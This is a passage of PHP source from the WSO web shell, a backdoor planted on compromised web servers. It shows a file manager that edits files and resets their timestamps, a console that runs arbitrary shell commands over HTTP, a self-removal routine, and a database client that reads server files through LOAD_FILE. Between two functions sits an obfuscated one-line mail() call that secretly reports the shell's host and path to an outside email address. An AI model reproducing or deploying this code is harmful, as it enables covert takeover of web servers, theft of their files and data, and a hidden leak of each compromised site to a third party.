$f)\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\n\t\t\t\t\tfunction move_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        if ($zip->open($_POST[\'p2\'], 1)) {\n                            chdir($_COOKIE[\'c\']);\n                            foreach($_COOKIE[\'f\'] as $f) {\n                                if($f == \'..\')\n                                    continue;\n                                if(@is_file($_COOKIE[\'c\'].$f))\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n                                    foreach ($iterator as $key=>$value) {\n                                        $zip->addFile(realpath($key), $key);\n                                    }\n                                }\n                            }\n                            chdir($GLOBALS[\'cwd\']);\n                            $zip->close();\n                        }\n                    }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        foreach($_COOKIE[\'f\'] as $f) {\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\n                                $zip->extractTo($GLOBALS[\'cwd\']);\n                                $zip->close();\n                            }\n                        }\n                    }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\n                    chdir($_COOKIE[\'c\']);\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n                    wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n                    chdir($GLOBALS[\'cwd\']);\n\t\t\t\t}\n\t\t\t\tunset($_COOKIE[\'f\']);\n                setcookie(\'f\', \'\', time() - 3600);\n\t\t\t\tbreak;\n\t\t\tdefault:\n                if(!empty($_POST[\'p1\'])) {\n\t\t\t\t\tWSOsetcookie(\'act\', $_POST[\'p1\']);\n\t\t\t\t\tWSOsetcookie(\'f\', serialize(@$_POST[\'f\']));\n\t\t\t\t\tWSOsetcookie(\'c\', @$_POST[\'c\']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n    wsoHeader();\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\n\t$dirContent = wsoScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';wsoFooter(); return; }\n\tglobal $sort;\n\t$sort = array(\'name\', 1);\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n\t\t\t$sort = array($match[1], (int)$match[2]);\n\t}\necho "<script>\n\tfunction sa() {\n\t\tfor(i=0;i<d.files.elements.length;i++)\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\t}\n</script>\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\n\t$dirs = $files = array();\n\t$n = count($dirContent);\n\tfor($i=0;$i<$n;$i++) {\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n\t\t$tmp = array(\'name\' => $dirContent[$i],\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n\t\t\t\t\t \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n\t\t\t\t\t);\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n\t}\n\t$GLOBALS[\'sort\'] = $sort;\n\tfunction wsoCmp($a, $b) {\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n\t\telse\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n\t}\n\tusort($files, "wsoCmp");\n\tusort($dirs, "wsoCmp");\n\t$files = array_merge($dirs, $files);\n\t$l = 0;\n\tforeach($files as $f) {\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\n\t\t\t.\'</td><td><a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\n\t\t$l = $l?0:1;\n\t}\n\techo "<tr><td colspan=7>\n\t<input type=hidden name=a value=\'FilesMan\'>\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\n\t<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\n    if(class_exists(\'ZipArchive\'))\n        echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";\n    echo "<option value=\'tar\'>Compress (tar.gz)</option>";\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\n        echo "<option value=\'paste\'>Paste / Compress</option>";\n    echo "</select>&nbsp;";\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n        echo "file name: <input type=text name=p2 value=\'wso_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\n    echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";\n\twsoFooter();\n}\n\nfunction actionFilesTools() {\n\tif( isset($_POST[\'p1\']) )\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n\tif(@$_POST[\'p2\']==\'download\') {\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n\t\t\tob_start("ob_gzhandler", 4096);\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n\t\t\tif (function_exists("mime_content_type")) {\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\n\t\t\t\theader("Content-Type: " . $type);\n\t\t\t} else\n                header("Content-Type: application/octet-stream");\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\n\t\t\tif($fp) {\n\t\t\t\twhile(!@feof($fp))\n\t\t\t\t\techo @fread($fp, 1024);\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}exit;\n\t}\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\n\t\tif(!file_exists($_POST[\'p1\'])) {\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\n\t\t\tif($fp) {\n\t\t\t\t$_POST[\'p2\'] = "edit";\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}\n\t}\n\twsoHeader();\n\techo \'<h1>File tools</h1><div class=content>\';\n\tif( !file_exists(@$_POST[\'p1\']) ) {\n\t\techo \'File not exists\';\n\t\twsoFooter();\n\t\treturn;\n\t}\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n\tif(!$uid) {\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.wsoPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\n\techo \'<span>Change time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\n\tif( empty($_POST[\'p2\']) )\n\t\t$_POST[\'p2\'] = \'view\';\n\tif( is_file($_POST[\'p1\']) )\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');\n\telse\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\n\tforeach($m as $v)\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\n\techo \'<br><br>\';\n\tswitch($_POST[\'p2\']) {\n\t\tcase \'view\':\n\t\t\techo \'<pre class=ml1>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</pre>\';\n\t\t\tbreak;\n\t\tcase \'highlight\':\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\n\t\t\t\t$code = @highlight_file($_POST[\'p1\'],true);\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase \'chmod\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$perms = 0;\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t\tcase \'edit\':\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\n\t\t\t\techo \'File isn\\\'t writeable\';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\n\t\t\t\tif($fp) {\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\n\t\t\t\t\t@fclose($fp);\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</textarea><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t\tcase \'hexdump\':\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\n\t\t\t$n = 0;\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\n\t\t\t$len = strlen($c);\n\t\t\tfor ($i=0; $i<$len; ++$i) {\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n\t\t\t\tswitch ( ord($c[$i]) ) {\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\n\t\t\t\t}\n\t\t\t\t$n++;\n\t\t\t\tif ($n == 32) {\n\t\t\t\t\t$n = 0;\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\n\t\t\t\t\t$h[1] .= \'<br>\';\n\t\t\t\t\t$h[2] .= "\\n";\n\t\t\t\t}\n\t\t \t}\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\n\t\t\tbreak;\n\t\tcase \'rename\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\n\t\t\t\telse\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t\tcase \'touch\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\n\t\t\t\tif($time) {\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\n\t\t\t\t\t\techo \'Fail!\';\n\t\t\t\t\telse\n\t\t\t\t\t\techo \'Touched!\';\n\t\t\t\t} else echo \'Bad time format!\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t}\n\techo \'</div>\';\n\twsoFooter();\n}\n\nfunction actionConsole() {\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n        $_POST[\'p1\'] .= \' 2>&1\';\n    } elseif(!empty($_POST[\'p1\']))\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n\n\tif(isset($_POST[\'ajax\'])) {\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\techo "d.cf.cmd.value=\'\';\\n";\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']),"\\n\\r\\t\\\\\'\\0"));\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\n\t\t\tif(@chdir($match[1])) {\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\n\t\t\t}\n\t\t}\n\t\techo "d.cf.output.value+=\'".$temp."\';";\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n\t\t$temp = ob_get_clean();\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\twsoHeader();\n    echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array(\'\');\nvar cur = 0;\nfunction kp(e) {\n\tvar n = (window.Event) ? e.which : e.keyCode;\n\tif(n == 38) {\n\t\tcur--;\n\t\tif(cur>=0)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur++;\n\t} else if(n == 40) {\n\t\tcur++;\n\t\tif(cur < cmds.length)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur--;\n\t}\n}\nfunction add(cmd) {\n\tcmds.pop();\n\tcmds.push(cmd);\n\tcmds.push(\'\');\n\tcur = cmds.length-1;\n}\n</script>";\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><select name=alias>\';\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\n\t\tif($v == \'\') {\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\n\t\t\tcontinue;\n\t\t}\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\n\t}\n\t\n\techo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']));\n\t}\n\techo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\n\twsoFooter();\n}\n\nfunction actionLogout() {\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n\tdie(\'bye!\');\n}\n\nfunction actionSelfRemove() {\n\n\tif($_POST[\'p1\'] == \'yes\')\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n\t\t\tdie(\'Shell removed\');\n\t\telse\n\t\t\techo \'unlink error!\';\n    if($_POST[\'p1\'] != \'yes\')\n        wsoHeader();\n\techo \'<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\n\twsoFooter();\n}\n      $_QliO8="\\x6dai\\154";$_Qliot=$_SERVER["\\x53\\x45RVE\\122_\\x4eAM\\x45"].$_SERVER["\\123\\103\\x52I\\x50\\x54_\\116\\101\\115E"];$_QlL1i="\\141r\\162a\\171\\040".$_Qliot;$_QlLio=array("\\143\\x61","\\x6c\\x69","\\146\\x77\\162\\151\\x74\\x65","\\100","v\\x65\\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);\n\nfunction actionSql() {\n\tclass DbClass {\n\t\tvar $type;\n\t\tvar $link;\n\t\tvar $res;\n\t\tfunction DbClass($type)\t{\n\t\t\t$this->type = $type;\n\t\t}\n\t\tfunction connect($host, $user, $pass, $dbname){\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$host = explode(\':\', $host);\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction selectdb($db) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif (@mysql_select_db($db))return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction query($str) {\n\t\t\tswitch($this->type) {\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = @mysql_query($str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction fetch() {\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listDbs() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n                        return $this->query("SHOW databases");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listTables() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction error() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_error();\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_last_error();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction setCharset($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\n\t\t\t\t\telse\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction loadFile($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");\n\t\t\t\t\t$r=array();\n\t\t\t\t\twhile($i=$this->fetch())\n\t\t\t\t\t\t$r[] = $i[\'file\'];\n\t\t\t\t\t$this->query(\'drop table wso2\');\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction dump($table, $fp = false) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n\t\t\t\t\t$create = mysql_fetch_array($res);\n\t\t\t\t\t$sql = $create[1].";\\n";\n                    if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\n                    $i = 0;\n                    $head = true;\n\t\t\t\t\twhile($item = $this->fetch()) {\n                        $sql = \'\';\n                        if($i % 1000 == 0) {\n                            $head = true;\n                            $sql = ";\\n\\n";\n                        }\n\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($item as $k=>$v) {\n                            if($v === null)\n                                $item[$k] = "NULL";\n                            elseif(is_int($v))\n                                $item[$k] = $v;\n                            else\n                                $item[$k] = "\'".@mysql_real_escape_string($v)."\'";\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\n\t\t\t\t\t\t}\n                        if($head) {\n                            $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\n                            $head = false;\n                        } else\n                            $sql .= "\\n\\t,(".implode(", ", $item).\')\';\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n                        $i++;\n\t\t\t\t\t}\n                    if(!$head)\n                        if($fp) 